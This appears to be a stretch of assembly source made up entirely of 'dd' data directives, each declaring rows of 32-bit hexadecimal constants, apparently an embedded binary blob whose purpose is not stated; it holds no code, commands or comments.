dd 0ED2A161h, 508C9D4Ch, 9988C338h, 0A9BF6049h, 11A5375Eh
dd 3D1D0500h, 0B4E2B727h, 1D8E196h, 34EA3833h, 1161DE09h
dd 30000009h, 2B89BA9Bh, 0AC729F18h, 0E18449h, 7C537150h
dd 0FD46F078h, 91DAEA0Ch, 505A9F1h, 0AA277238h, 5534C0C1h
dd 6B0CC892h, 0A0DAC614h, 379088B7h, 0E0D7F1CFh, 2C127AA2h
dd 0FBC99ACh, 0B4D4D2B2h, 0F580D488h, 72C4F003h, 2577624h
dd 0DCDAC19Bh, 1C8A67ACh, 39FB194Fh, 0C8B513CDh, 3B6FE1h
dd 0B1EAA7D2h, 73161A32h, 0AB914404h, 9C80D469h, 90A06352h
dd 0E9CAA08h, 0B6064484h, 0D7805881h, 68406040h, 0E44C7509h
dd 2FDC0399h, 0CB7BB019h, 8344E059h, 0A04B0FF1h, 96DA70h
dd 57ECF631h, 3C11254Eh, 0FD8C4951h, 0CCB091F2h, 0EEB87402h
dd 0C0DD7BA6h, 5C1D4D23h, 0DC00B304h, 13D5591Ch, 6905A3E1h
dd 0A8B0B9BAh, 0B665FC30h, 9AE20049h, 42BE1BE9h, 0C64CD7A5h
dd 0A2EBA0DCh, 77671C9Ch, 0AA6EC496h, 917383CCh, 98B95022h
dd 3A0E0B80h, 47D24h, 207622C8h, 0AE41CFB3h, 4D86F803h
dd 0C0804B17h, 2C32CC0Bh, 0A8ACADAFh, 0B0BD449Ch, 0B024B758h
dd 3DC82Fh, 0DFA793Fh, 532CA8DBh, 0B0508820h, 88DDF05Ch
dd 5F333149h, 0E2AE0809h, 0B0F440F9h, 2C8F5060h, 0E930886Fh
dd 99F58100h, 9B72EFF7h, 3EA7970h, 0B2A6DC73h, 9977E2D3h
dd 0E9802506h, 9069322Bh, 8AF17294h, 241FFCC0h, 3E2C4B7Ch
dd 300800FEh, 8F94A9A0h, 642079A4h, 0C160567h, 48AA9D04h
dd 0E8D65111h, 0E9721F68h, 803DE12Ch, 98071044h, 518F6AD2h
dd 0DC209CC3h, 0E9AB4023h, 8638334Ch, 1CE9B6F4h, 80C82EBDh
dd 8F930304h, 1658DDDAh, 1F7522F0h, 82F15B59h, 0D5EC2645h
dd 7E034240h, 80386B5Ch, 30FC3C9Ch, 0FF010034h, 0A40B36D6h
dd 8A483FE3h, 52130208h, 829DF828h, 10ADB788h, 1B3EC9A5h
dd 3F38540Eh, 0EEF57300h, 33A48544h, 300B739Dh, 0BB213A91h
dd 0B6B0F42Eh, 0DA21D8A0h, 0A80F091h, 78E2B3Ah, 0EFF8046Bh
dd 0C15E7588h, 1082E7DCh, 0B2DE6641h, 4CC08194h, 2829A011h
dd 403888DCh, 9B0969E4h, 0B19FCC00h, 30F925D9h, 4CA40098h
dd 0C6BA36E2h, 374CC065h, 0E1FAC018h, 0F7264Dh, 0B77183EDh
dd 0D2DBE620h, 693EA502h, 0C1864594h, 28623FB6h, 0E1DCF049h
dd 24100E9Ah, 2C323654h, 90301411h, 98848AC1h, 0D29646BFh
dd 0C97031h, 0AA17DD9Ah, 99CF90ADh, 9EE21C16h, 80B0A408h
dd 8270CD85h, 0BF03DBF5h, 37DDEDA2h, 0F9879024h, 3971C048h
dd 0C3177B07h, 90C0386Bh, 4A6928h, 85D7C57Dh, 2B23FDD1h
dd 4DBF300h, 0B7581F8Fh, 59DF091Bh, 2C935DB0h, 148022h
dd 179C32F1h, 5B2B603Ah, 0DB9DA01Eh, 20BE9E40h, 95EA4Ch
dd 0E90EA2AEh, 0CCD10935h, 8127BB3Ch, 0C0966356h, 0E02291EBh
dd 0AF5A5071h, 0C2600045h, 0C425194Dh, 8BF478CDh, 10CA9026h
dd 32EF1D00h, 5EEA20Bh, 0AA22E4B2h, 9AB42096h, 45002C65h
dd 0A63AC7D5h, 0C52A240Ch, 8B9B870h, 239FB360h, 0A7985082h
dd 0C40CE1E1h, 87840315h, 21C317F3h, 0A56D5FC0h, 0CE140CB8h
dd 8EF0A733h, 0E304912Fh, 0A8EE90h, 0EF841AAh, 12F20359h
dd 0DDD5379Dh, 0F3EBAD8h, 4013E11Eh, 7970A780h, 9C820FEh
dd 0D998EC2Ch, 831B9018h, 445C7200h, 0DF3254F9h, 74313F4h
dd 0A07830FEh, 1D005C3Dh, 512C1A49h, 200325h, 0E30EE6DBh
dd 0DE297011h, 0C8D34C90h, 0CC909812h, 91EFF1A5h, 207213B4h
dd 0B71B9B7Ch, 0FF0D2D00h, 745346E0h, 60A00C95h, 0E3B198EFh
dd 0A5A94E09h, 1DDC415Fh, 37FC58D1h, 9BFCF012h, 1CAC0038h
dd 0EA13A9E5h, 0EA4193Bh, 0A0DCD3C8h, 962721A0h, 6F1C0D7h
dd 0A2BE2F79h, 53FF1C00h, 95CCAB13h, 2208B0F9h, 0F42C2A3Ah
dd 864058B2h, 1D282C87h, 8F7A323Bh, 6642F76Ch, 2053FB7Dh
dd 2541A088h, 46D8F010h, 0E0C63C50h, 6D648F00h, 8A0CD531h
dd 9BFA008Dh, 305ABC55h, 29022A99h, 0B0909AD7h, 0F2C8B52h
dd 41C2E8F4h, 5A8EE2Ch, 4074C8h, 2229F5BDh, 0C6122138h
dd 230B5200h, 0ECCB3585h, 0A45501A6h, 32CE09A9h, 0B94723Dh
dd 7FF52Eh, 0F378C6D0h, 69E16096h, 8CCC1D1h, 80495E0Fh
dd 0AE11E0ADh, 9B8D08Eh, 2AD60690h, 0BA991023h, 4733FCC8h
dd 477D974h, 98FFF809h, 0DCC80C2h, 0B078B7CAh, 0F33F1293h
dd 0FF7002AAh, 0CC98BEE9h, 920063C4h, 0DE148C75h, 0BF0CE58h
dd 3AD50AD9h, 0A898E812h, 701C24ACh, 66008CF8h, 34CEB50Eh
dd 1248964Ah, 5134206Bh, 7F0E753Bh, 0BB42D702h, 7061B0B1h
dd 0D4BA0EB8h, 0F7C5B59Dh, 2FB4091Bh, 59000016h, 48612DE1h
dd 139377h, 8E2717FFh, 0F75607ADh, 0C209E4Eh, 39BF81FDh
dd 0C70096E9h, 4F5F32C1h, 4A14A712h, 10C0DA65h, 2C855337h
dd 0E858CD07h, 4DF6F4E7h, 84FF243Ch, 0B19D0E3Dh, 0CC003CA3h
dd 4B0133F4h, 6600B0E7h, 0A2FCFDE8h, 4957A1Ah, 92A9C4E1h
dd 2CA26Bh, 0CD5A0FC0h, 1B815D1h, 2B29F16h, 886C36E3h
dd 833A3890h, 0CFD70ED9h, 95083900h, 3D0992C5h, 451900C2h
dd 0C73E47FBh, 8E3E0E71h, 0C0884CECh, 7446B0A7h, 29F2000Dh
dd 143E1BFCh, 0F0B9D7A5h, 498AA601h, 24C423D5h, 6FD89F0Eh
dd 997D4716h, 276F8600h, 9935E1A6h, 8737907Ch, 2D820A07h
dd 0CED091E6h, 7DDB6D10h, 47E5F100h, 655B162Ah, 0A73D0040h
dd 6256BDC5h, 0D4ECC20h, 6580E034h, 0E87DCA79h, 0AEA40075h
dd 0D8D05A9Eh, 394B98D4h, 44674071h, 394EB001h, 402026A8h
dd 1F0A8D61h, 3F8F96C0h, 0BE00E959h, 0D3CB17FBh, 0B13A0D36h
dd 0B9C500F8h, 6F6209FFh, 0C38B2CC0h, 87813898h, 0DA674DFAh
dd 410BC4F8h, 699F9131h, 7180BAF4h, 283431FDh, 7A17C810h
dd 0F80D79D5h, 2C4729BEh, 459F48h, 0B0271D06h, 19C6AC53h
dd 0EE215290h, 0F0711E20h, 12C09F0Fh, 0CECC3039h, 29D68435h
dd 0A6AD0030h, 6E6000D4h, 2901523Eh, 93046A83h, 0E6A1D8D3h
dd 0A3EA2481h, 394BEFF0h, 0ACA8DCD9h, 0CE8E44D8h, 59983F32h
dd 0C0D9D9h, 0AFE74F06h
dd 471E0B16h, 79C1E957h, 9921C7FFh, 909814E4h, 30D04E94h
dd 0DEA99CECh, 0DC93B300h, 4C8F6228h, 30EF474h, 6AF5123Bh
dd 0A5ECB2FFh, 2DA097A0h, 34C08C24h, 24F19885h, 50F8188h
dd 703ACECBh, 0ABB087Ch, 0B400D87Ah, 1D07EEE6h, 0B6535ECh
dd 91DA8AE7h, 7494A410h, 4BC99F00h, 0B85B225Dh, 0A555186Fh
dd 81A46805h, 0F2407096h, 7584DF0h, 9834663Ch, 0C7441042h
dd 0AE4C63D9h, 8E670550h, 74809045h, 408D4998h, 62FDA6DAh
dd 0CC00792Ch, 0AB2B703Dh, 773C6069h, 7BF1F093h, 0E18C0167h
dd 9025B75Dh, 24F82943h, 9068A836h, 0A507AE11h, 413D9CB7h
dd 688E31D6h, 2BE90C20h, 0EFF3136h, 0A4137237h, 20E6723h
dd 0E82EA80Fh, 526B402Bh, 7DCB924Ah, 319F0BFCh, 0AC6CB9D3h
dd 18105800h, 2F8D8B1Fh, 0D898086Fh, 0AA80E091h, 0B1A0371Ch
dd 203F2E08h, 4FFA0011h, 61AFC5Ah, 5B012679h, 0DF98B885h
dd 0C42255B0h, 0F2F52100h, 86CC99E2h, 0F3137EF8h, 0E020D676h
dd 1AEAFAAh, 98778C07h, 0FC6D4C6Eh, 1609BD68h, 0AAD9CFCh
dd 0B9081810h, 566781A9h, 42C7AFCCh, 0CC792EC0h, 0E6BBEA00h
dd 484B68D4h, 0A7003EE9h, 27366AD8h, 234C7BDCh, 0B4204EACh
dd 1CD6AEh, 61716F83h, 0D5D211Fh, 1D192203h, 0C8BA4438h
dd 90E3F846h, 0CEFE17FCh, 0A064903Bh, 0C0A4DC2Eh, 0A5C49802h
dd 8238F5E9h, 0D97BB054h, 2F310208h, 0E442A018h, 2F7C1C0Ah
dd 8FF441Ch, 362205CCh, 8C640199h, 1D48461Ch, 0E86700E2h
dd 0EC80B2E7h, 3149130Eh, 0DD2CC8A6h, 7D976900h, 0BC70841Ch
dd 79B81329h, 150800D2h, 96C7BEBDh, 5EB22C4Ch, 70D81810h
dd 133D70C0h, 0C5E8A5Ch, 3CB6FF58h, 99C90CD0h, 37C81190h
dd 252ED1D4h, 46E37E87h, 404A66B8h, 0DA1CEB00h, 8325842Dh
dd 0C939EAE9h, 452F499h, 0EE5BA800h, 0B15026A7h, 43BD0028h
dd 0E536A082h, 3800FFB5h, 60AB66A3h, 0B654B08Bh, 98C6AB0h
dd 98444C02h, 0B0004E71h, 0B3B4C028h, 6BBBD1h, 0CAE94471h
dd 2253968Eh, 0D7A03917h, 0A5FA4890h, 0EB7A0E7h, 167C13C9h
dd 0B26802DEh, 0E496A8D2h, 2EDA2401h, 0D3F2C68Ch, 29F3C0DFh
dd 0F8914CE5h, 71BEFC17h, 0E8EA8750h, 7C00D772h, 81CCCE08h
dd 6FC23A5h, 26719A39h, 0F42C606Bh, 0AE00453h, 0F93CA4Bh
dd 0B04CE674h, 0B2F59C20h, 8C9ED0BDh, 0E4279612h, 1B745A0h
dd 675D3BA7h, 6F5E5480h, 0F01650ABh, 387C9C31h, 0A203DCA6h
dd 975D26F9h, 20858B78h, 0A50E30E3h, 0D5033BE4h, 5098E07Bh
dd 0AD0F7603h, 0A7E7745Dh, 0DC0637Eh, 48885213h, 260F14F3h
dd 3562A491h, 6849AFFEh, 0E427D22Ch, 0CB994731h, 0C400A873h
dd 241C41BBh, 22352E5Eh, 0DC16498Ah, 49B0341Dh, 0E47D2945h
dd 0EE3700DAh, 0FF7CF8B2h, 190C9B39h, 290835D5h, 88A6D9h
dd 565FBAF1h, 0AF9FA677h, 87F6FF00h, 0A0A70EC3h, 29DE6232h
dd 30C29BFCh, 0EC0E0851h, 0FB8F00ADh, 78C622h, 0C01C3312h
dd 91A1E4A8h, 48E97503h, 0C3733887h, 618831CBh, 88AE0EB0h
dd 96E036F9h, 37CC8FFh, 8A38E70Fh, 98FE6201h, 64D86091h
dd 49540219h, 271120E2h, 0FBEB48C0h, 0D2FAD8A1h, 64D70902h
dd 498900D4h, 0AA2E529Eh, 3738EB90h, 727B00F9h, 0BFE39341h
dd 302916DAh, 32F005CCh, 0E2C8DDB8h, 0B11D60DDh, 7EB200A6h
dd 0CB6BEC36h, 0D80065E3h, 0D2B3D12h, 9091635Fh, 3AB62010h
dd 0AE20B210h, 2E3FF181h, 50A87C26h, 0D940C304h, 935E014Fh
dd 63CA8DB0h, 0F9E464D2h, 1540589Ch, 16443FC8h, 13E1FCAh
dd 0E0780A27h, 0D300244Ah, 35313CB0h, 3AA03136h, 0D891B038h
dd 92280724h, 1454B4D7h, 0ACD0DC39h, 0E5067CB6h, 5EC03038h
dd 3A407156h, 9A27C047h, 709C7CBCh, 5CDE3400h, 0DA9F82h
dd 4220702h, 37C0789Ah, 5F5EB07Dh, 2FBDB422h, 0F417E20h
dd 0B700F7CDh, 647DBF2Ah, 0E0C40369h, 0F38B02B3h, 0D50780C6h
dd 0DA12FC79h, 4B945430h, 6EEAAFh, 0E88619CDh, 261FFC1Dh
dd 0B0E5FB05h, 3C1DC460h, 0CC209117h, 2B7836h, 0B569F767h
dd 0CCC42AB1h, 98044F0Bh, 0E4B80BD2h, 0D7E400A4h, 6B3A8D7Dh
dd 33005DBFh, 84B444B1h, 4A991DE9h, 249C30DAh, 0E2782ABDh
dd 0E8459490h, 0C0077472h, 53EDD8F6h, 0E7E8277Fh, 0CD00AED6h
dd 0E3F98EBBh, 5A03BA36h, 3BB00864h, 3DE83180h, 12C1214Dh
dd 172FE5E2h, 5348C870h, 0D501048Ch, 0BAE283Fh, 52500941h
dd 0A0990730h, 3336EF58h, 91C20F0Eh, 4A0078C6h, 290AC004h
dd 3D71254h, 0C0B754Fh, 2DC848F5h, 7D9072E5h, 0F83A28B0h
dd 225853ABh, 978D00E1h, 0EFFBB834h, 81587462h, 1A9E0090h
dd 24BFC0BEh, 0B0C90A5Dh, 305CB652h, 0BAB29098h, 0E0000B9h
dd 309F01E4h, 900496BCh, 480B9334h, 0BC1C4417h, 4A898020h
dd 0F95DFB60h, 0E131100h, 0B21C6B2Ch, 0BEBC0110h, 213A683Bh
dd 1B245254h, 883E602Ch, 8C0529D9h, 0F60E9B6Dh, 21AE4CC2h
dd 3C33CE09h, 557CC734h, 20D872Fh, 981B017Eh, 786867CCh
dd 4F31358Fh, 0FCE5FC20h, 88C50066h, 0AE4E12A8h, 0C300BF4Fh
dd 34E25F8Ah, 247DDE07h, 6020C0F5h, 9BD9803Dh, 5100BF76h
dd 6F30B2FEh, 2ECEE24Bh, 4F341B25h, 0CCB21671h, 1061C432h
dd 8B0A8521h, 78CA34E1h, 0CC82AC24h, 411DD20Ah, 0A2B0664h
dd 41B4C2F4h, 3AA1E6BEh, 0F2D58820h, 0FA22129Bh, 96D8F69Ch
dd 6954340Fh, 0C8E4585Dh, 90A57678h, 37F1D5Ch, 7AFD473Eh
dd 0F4E1966Dh, 0F8412B9Ch, 0B7D669CDh, 9477C510h, 8985961Eh
dd 0E5F5EA87h, 91B50972h, 0C016A8E4h, 1A534B9h, 0B3EFB2B8h
dd 8C00912h, 0FC010EDAh, 0CEB5C536h, 50424C32h, 1F9721A8h
dd 5EC13E46h, 2872F010h, 49DEEA18h, 8A4C3149h, 0F6BE2208h
dd 0B8A25857h, 0D8997314h, 51AF2818h, 381F8037h, 2C40CC31h
dd 265F0E9Fh, 97E0A00Ah, 6B218071h, 0C43CC948h, 64403A35h
dd 10E2E179h, 0BBE90E09h, 0F3CC472h, 2E63143Ch, 0DC5FB000h
dd 0D90D21ADh, 99FBE9A3h, 55A12887h, 20D1A97Ah, 0B2C23E9Dh
dd 919738CEh, 6210BF80h, 1000D6EDh, 0C47AF8BEh, 0EC0CAA79h
dd 757701Bh, 904D275Ch, 0E411DBC8h, 2CCE1129h, 134520D2h
dd 0A006BBF6h, 0A637F8B1h, 4BA4DF0h, 6A0FF987h, 0E91E0588h
dd 67240191h, 0FCE5E0B1h, 80A1A112h, 28282A34h, 0EC32006Fh
dd 24027BEBh, 8061109Eh, 99696C1Ah, 5CB860h, 0FF9D3518h
dd 0F4AE8F31h, 4C81C960h, 1D30A2AFh, 80BDEE2Ch, 56D5DD34h
dd 9DFCE84Ah, 0E0B17A28h, 89E02CBEh, 10136E2h, 74DD72A1h
dd 4555FD02h, 82BC81B0h, 0B9E85090h, 0BA05851Eh, 362BAF57h
dd 0EEB064C3h, 0A8DF5851h, 6A889001h, 419E44DAh, 42E73294h
dd 6820C538h, 18044C0Bh, 0D4F53EE1h, 7005F94h, 9B774BC5h
dd 19A4939Fh, 0B1D0901Dh, 63F88541h, 0B8C33969h, 0B8917CB0h
dd 9F490A78h, 0C06C0F32h, 0EFEC07D3h, 0A524BB00h, 0BF1F8DC0h
dd 0C63B0C49h, 2D384EA0h, 27E4C444h, 34B8C990h, 510082D6h
dd 0BE7F3F3Ah, 90E767Bh, 16642DF9h, 9687080h, 3D0B5C9Bh
dd 44F324FCh, 13CA0CBCh, 1A0E7D49h, 74C8EAF9h, 0BA252C07h
dd 0A1444002h, 0F466B80Eh, 0F31D1794h, 9AD83003h, 0DE008379h
dd 0DB9B01A1h, 7B84FFAh, 8228807Fh, 8BA33184h, 2183ECF1h
dd 0FC90C8B8h, 472EA701h, 0F9B6FE6Dh, 88675020h, 23FC714Fh
dd 1482440Ch, 1D2B087Fh, 0C0394B22h, 0F3153806h, 18CF461Ah
dd 320C0023h, 76D7945h
dd 64F9F0B8h, 154F6143h, 8B499F35h, 0ACE96803h, 40511E22h
dd 8040776Dh, 0C312818Eh, 22119C60h, 13CB4324h, 8D8B7Fh
dd 0FE5D7DEFh, 38308CD8h, 0C3B57949h, 0CA3F009Bh, 0B2352476h
dd 2A009A5Eh, 4288D746h, 0C0E0366h, 3FBB3113h, 0DF005A89h
dd 0C735306Bh, 0FD3E3Ah, 5547809Fh, 10F25E64h, 0C90C0301h
dd 238E768Ch, 0C0381BC4h, 0E8959971h, 0EB0086AEh, 0D49C6958h
dd 3FC9059h, 76D844A7h, 65C19E9Ah, 773970DAh, 604B324Ch
dd 1B84A3F1h, 7D4A0C8Ch, 139130B4h, 53142670h, 21BC54E5h
dd 6D1138h, 5A45B7DFh, 11E9C896h, 40C225C7h, 0A713C69Ch
dd 7069CDCh, 0F018BA5Bh, 0BBDB00D0h, 128B75DFh, 31C086CFh
dd 0E8C5AC20h, 3AE5003Bh, 434BAF2Dh, 40C64266h, 29BE6Dh
dd 8F808CBCh, 0BD4B4838h, 715D7600h, 0A4327566h, 4F81C350h
dd 0B17C3103h, 18A4BE45h, 6D3F0305h, 20002A36h, 0A257A27h
dd 0ECA935FDh, 0D3C00051h, 158C7B26h, 7F03D976h, 0B8E9AC9Bh
dd 38491817h, 8EF1514Ch, 0BF0E3998h, 2C6D3551h, 0C0D7A96Ah
dd 8C811FE0h, 823C61BEh, 1C9192Dh, 6422BB21h, 3F6B5800h
dd 0FA55D75Bh, 0A799DD00h, 19E3202Ch, 91E4078Dh, 23A64F6h
dd 84906C43h, 0F7009BA4h, 3D5AFC7Bh, 3FA77904h, 89156468h
dd 0BF3C9C5Fh, 3EB3E90Ch, 1E038DB9h, 0CC8C86EAh, 0AC809FA0h
dd 50FD328Ah, 881BEC06h, 0A300B310h, 7F4004D7h, 48BA01E0h
dd 2C223874h, 33074F14h, 42A584B0h, 0CC98805Ah, 0B600370Eh
dd 0EC0A97D5h, 63C325CFh, 3222C1F0h, 8CB081DBh, 0B078CB40h
dd 30479228h, 0C2C0222h, 9B6D4927h, 0F6008939h, 0FF78217Fh
dd 11047AC8h, 3D4D388Bh, 8700061h, 6414D0DBh, 480D5437h
dd 356C00EAh, 285D20CCh, 0C8D0558Ch, 0D9F07B34h, 22185448h
dd 0BF6D3035h, 48573379h, 0D0E4EA00h, 1CFB9D79h, 5D74280Ch
dd 3640084h, 0B418CB56h, 0DB26994Bh, 923C723Ch, 1C2014B5h
dd 1E7FDDE9h, 0C039538Dh, 0C475F55Bh, 0E024293Dh, 4160AC23h
dd 759A1E91h, 38BE0067h, 0FAD51B43h, 23184883h, 49293513h
dd 5BB1AC5h, 38826ECCh, 0A043A017h, 404315F0h, 9E1D98C0h
dd 3E6BF418h, 0EE801B8Ch, 33C6CB42h, 4800F543h, 0F44EFFFBh
dd 0C14A1A83h, 0BF19B8F9h, 801D20A7h, 0B31BFC12h, 3CD2C00h
dd 0F73DBDC1h, 2045D842h, 278C8FDDh, 0ACB48D26h, 47669F41h
dd 1F40C670h, 3D32E639h, 122B8787h, 41049C7h, 150AE291h
dd 0C85C8C4Bh, 48533211h, 0DCE69301h, 0FCC6C374h, 4A13E2E8h
dd 8D001715h, 668B073Ah, 0E47FDAh, 0BFA805EFh, 0CEA2E96Eh
dd 0E304A48h, 0A7EB88BEh, 79CC6D42h, 0FEF5004Dh, 966147B4h
dd 8A003DB9h, 0B8CF7A25h, 0C0836C26h, 38AC0429h, 1CB050D0h
dd 0C4B4E03Bh, 3D650142h, 4A2263A3h, 0A9573058h, 3AD62B07h
dd 645A8108h, 741011h, 0DDF33B26h, 896FB32Ah, 0AFFB38h
dd 4F2DDF40h, 1492D3B0h, 40E07EEAh, 0E336EB00h, 14AE11D9h
dd 0B81E8E9h, 0A5A84700h, 0C6E8FE22h, 1261C36Ch, 3972B9CBh
dd 0F6A3EA0Dh, 0D408B86Bh, 4BA44864h, 1EF7713h, 0BBE4C600h
dd 26842792h, 2024D2A2h, 9D49715h, 193B3F4Fh, 6D114AF8h
dd 0F9718080h, 946ABE35h, 630906Bh, 0DBA38C54h, 334248B4h
dd 4C471D11h, 0E22003A0h, 341ADFh, 0EEA6C351h, 0CE132E68h
dd 8763893Dh, 867F97DCh, 0C1FAE062h, 42EA62C0h, 367C0084h
dd 1F7E67ABh, 18981A56h, 0B8E11919h, 0F720A007h, 704E102Ch
dd 20B4E826h, 0E73F459Ch, 7572F4F8h, 1E3A6500h, 0E4064F39h
dd 1BA9CB3Eh, 615E2C10h, 8999B100h, 663EAE4Ah, 584D2659h
dd 2B1158h, 0F380E985h, 4865192Dh, 0C429CCFAh, 0DAB82CCh
dd 0A890B4D4h, 0DC007780h, 6571D309h, 0FD08BAh, 60782433h
dd 0A0910EF8h, 0AA32DB01h, 2FDFC825h, 204838A6h, 0C5430174h
dd 7A3E247h, 74AC3011h, 0A1463C07h, 6D50330Dh, 7CA564h
dd 0E238BC22h, 6C4B06B7h, 81045F07h, 32A029ABh, 0B24805AEh
dd 8A4F4470h, 0F95E912Eh, 0BC177101h, 27C16405h, 90E68BC4h
dd 0E2A64014h, 54408641h, 646729ACh, 504618BDh, 134321FCh
dd 0AEB02038h, 0C978249Dh, 4FFBAB00h, 189F9546h, 41F6022Ah
dd 8B2365E5h, 20585941h, 0D378E328h, 1C7F9600h, 5138BBFBh
dd 0C440003Eh, 0C8199BE4h, 0B0B246AFh, 308A3244h, 90F23BDFh
dd 0F80120CAh, 88D2CEE4h, 0AC2484F3h, 3DBB3064h, 0E242E631h
dd 3C579E00h, 6874FDFFh, 0CF7E001Bh, 5B9F175Dh, 70016446h
dd 8B8DBF83h, 4C2135E9h, 32EBA18Eh, 886496h, 0AFE91CB0h
dd 20BB468Dh, 0BD455081h, 78E8DF81h, 15512EADh, 0A38B42C0h
dd 58141163h, 31A8879Eh, 0F16D3906h, 0C030472h, 94EB3588h
dd 209F2820h, 4F248352h, 0E24EEC38h, 0EDA9EA2h, 474483A8h
dd 836EC21h, 0A0FE88CCh, 37B8F51Ch, 8ABB7B81h, 98DFC1C6h
dd 0BF7E280h, 0CC196B9Ah, 40BBD011h, 0FBED6660h, 3415A700h
dd 2AA477C2h, 0BF89846h, 0A92EE7A0h, 49E9548Fh, 1E069C44h
dd 52A41CC3h, 8B961728h, 0D53420B4h, 0DC0502A0h, 294BF235h
dd 0EBE78C00h, 80447A14h, 5007D27h, 99FCA6A9h, 9669211h
dd 6CA31E03h, 29CD7006h, 27794B60h, 2E1B90C4h, 434CD025h
dd 7178B1E9h, 84203C50h, 4312ED81h, 0ACBDA460h, 4AADCBA0h
dd 8220653Bh, 8CFAAED1h, 1CE643h, 29A66C1Dh, 0B32CAC30h
dd 0DEDDB201h, 181476C8h, 0FF2D5180h, 0CC434EBEh, 0B511E200h
dd 90223F9Bh, 4E0A6B71h, 60798019h, 0C05F9F5h, 28D3EC72h
dd 0E64CC482h, 8B2D449Ch, 0DA1800B8h, 26C8C8AEh, 220800D7h
dd 446BA07Ah, 9300455Bh, 9988C0Bh, 96A132E5h, 4164829Ch
dd 0C0404DEAh, 0C317288Ch, 0FC46270Eh, 39616CCDh, 0AE02DD3Ch
dd 3D83B1E8h, 78755490h, 817EF73Fh, 2A6061A7h, 0F1801614h
dd 0B6592177h, 64006C46h, 0ABB7A0FCh, 4A6D585Ah, 0C2CC0032h
dd 0C745EC2Fh, 49645600h, 5B38209Ch, 0C6B40201h, 0A88103CBh
dd 0A41844E2h, 0E81D65F8h, 0DA405401h, 5E787C39h, 0A18B1C20h
dd 0AA0BC012h, 65093331h, 0A0F02262h, 0CD6D0380h, 0D0A7B900h
dd 0C71D062Fh, 26670050h, 8FB5B707h, 180041D3h, 1A9639E4h
dd 92113D1Fh, 3D4F068h, 0AD53CA4Eh, 4FA18CDEh, 3FBC2314h
dd 92ACD41Bh, 0E3583803h, 0A8CC7C37h, 5F5EFF1h, 0AE19E1C3h
dd 0DCD888A0h, 73672414h, 14221E8h, 138976A3h, 40F18011h
dd 102F15B8h, 5F3100B0h, 0CDBDE5DEh, 0DA1CF3F4h, 4842B2Ah
dd 92446A4Ch, 20CC2288h, 7BE8352Fh, 20378C00h, 79A2FE4Eh
dd 0B2E7059Dh, 6394C5Ah, 980161F0h, 0DAE9640Bh, 19900FE2h
dd 0EC71399h, 0E0D43F91h, 879F3080h, 0CCE076E4h, 0D7597407h
dd 0A8225B65h, 0C2C8E028h, 1889C0Eh, 860A8A36h, 17D832B4h
dd 0FE01A8CBh, 9740BC2Bh, 790BDCh, 0E5E2DE39h, 6D7DB43Ch
dd 0F143749h, 208575D1h, 0D339055Ah, 0FD20001Ch, 86E7649Bh
dd 2D16F0AAh, 0B8306F1Bh, 7043F1Fh, 5BDC158Ah, 6D7CE0BCh
dd 0FE01D0D5h, 0ADB4FB41h, 3C32BB36h, 738F0070h, 7EE93777h
dd 0B8B07B11h, 0BE04BFE4h, 968C0FA3h, 0EFBB70CCh, 0EB2C3980h
dd 491AA7FEh, 993FD600h, 19B1DDAFh, 0C5D10009h, 15B09005h
dd 6D307347h, 0E3C0D133h, 0C4AD00C3h, 0BE18D47Ah, 88E44745h
dd 0D375D202h, 4498320Bh, 946D2A28h, 0B02700E4h, 0EABF0AAAh
dd 690147DEh, 0D74C55B4h, 0AC2C3A14h, 1C3828h, 9BA7020Ch
dd 0DB931822h, 0DE3D211Ch
dd 0EA1EB680h, 9C9DDC7Eh, 3C78E054h, 0AD7F41DEh, 159EA00h
dd 50BBA114h, 1120B122h, 0DCE02645h, 94307E63h, 0E5CF3C0h
dd 9C61C8C0h, 127B2282h, 9090E4C2h, 0FB0A148h, 60BB1024h
dd 35934934h, 0DD029C94h, 0B55497BDh, 27244CA1h, 91BF31h
dd 84990C06h, 44C0CD26h, 0EA8F5660h, 0C7E4BBh, 0FAB53BD7h
dd 0CD1792EEh, 123A3004h, 58E2F1CCh, 3D249828h, 21A61D65h
dd 41A02688h, 22C12D27h, 8E704004h, 39081432h, 0B06438h
dd 0D53494C5h, 4AC6AD9Bh, 3AE8425Ch, 0E45D4AEEh, 0BEB4F22h
dd 0DC0483A4h, 644B8Ch, 3EBCD538h, 653D0FB5h, 472BE1E9h
dd 3091348Dh, 4C94AD88h, 7CB018BEh, 3A4F4319h, 40A0579h
dd 118AEE8h, 3091C34Bh, 8100D738h, 6ED7D239h, 145D3FFh
dd 7AC9DE1h, 39BA521Bh, 0D1738090h, 8CF45Bh, 85A4E00Ch
dd 9EB61359h, 102249h, 5B7CA08Bh, 589AD81Ch, 7DC0DC70h
dd 76E80D4Dh, 848E243Eh, 0C622FEC2h, 90F29D84h, 0BEC46300h
dd 78B77204h, 59F75303h, 0C05A11F3h, 1DBACB8Bh, 0AAB051B2h
dd 10AB0360h, 698FD75Fh, 92E2E6D0h, 2F1BB625h, 2CC44040h
dd 71FF517h, 929F3CF7h, 7DB080B2h, 5F0C6A1Ch, 0A95D1423h
dd 14C65C12h, 0F38FB4D1h, 313FAD05h, 0D00341B0h, 54B14BCBh
dd 66028B1Fh, 0E62A7FABh, 3E7501E0h, 1346B274h, 24C7042h
dd 369D38C4h, 0ACD88Ch, 0B16B6D76h, 0BF9475BAh, 0D3F5601h
dd 377EF881h, 9C009C3Dh, 0A494B025h, 0DA64F25Eh, 5482A391h
dd 20C4A2D1h, 0B86C21h, 388D6472h, 0FDCC970Ah, 317CFB00h
dd 0CB06576Bh, 3EEB261Ch, 0C9B216FCh, 8CDBE390h, 27ECD8E5h
dd 0F97C20F2h, 0E80C4005h, 98CD25B8h, 0D4C00C3Ch, 573707CEh
dd 0B898397Ch, 14224E16h, 0FECB6C20h, 7DF700E5h, 0A48EE49Bh
dd 981EA8C5h, 0F3C16050h, 731DC3D1h, 243C6BE4h, 64FCFA32h
dd 19923215h, 51A84230h, 5600362Fh, 0A617EE14h, 74EB03B9h
dd 8260C1E5h, 0C44472DAh, 9894CF22h, 92F512F4h, 9E6080CCh
dd 0D7094047h, 96FB328Bh, 571D39C8h, 0E7D69880h, 4EB4BEBCh
dd 8ADB2C01h, 0F1C62503h, 2021CC23h, 0B8202C24h, 411C4F18h
dd 881214C9h, 6D00BAFAh, 29B3551Eh, 0A45247h, 0E258BF01h
dd 436E7708h, 0C0381C48h, 0F37AC68Dh, 4588986Fh, 0EC586146h
dd 429F733Ch, 98981974h, 7886309h, 41DC727Ch, 0A0286893h
dd 0F554A9h, 55E5527Bh, 403E9EFCh, 4332B0A0h, 80E06C5Ch
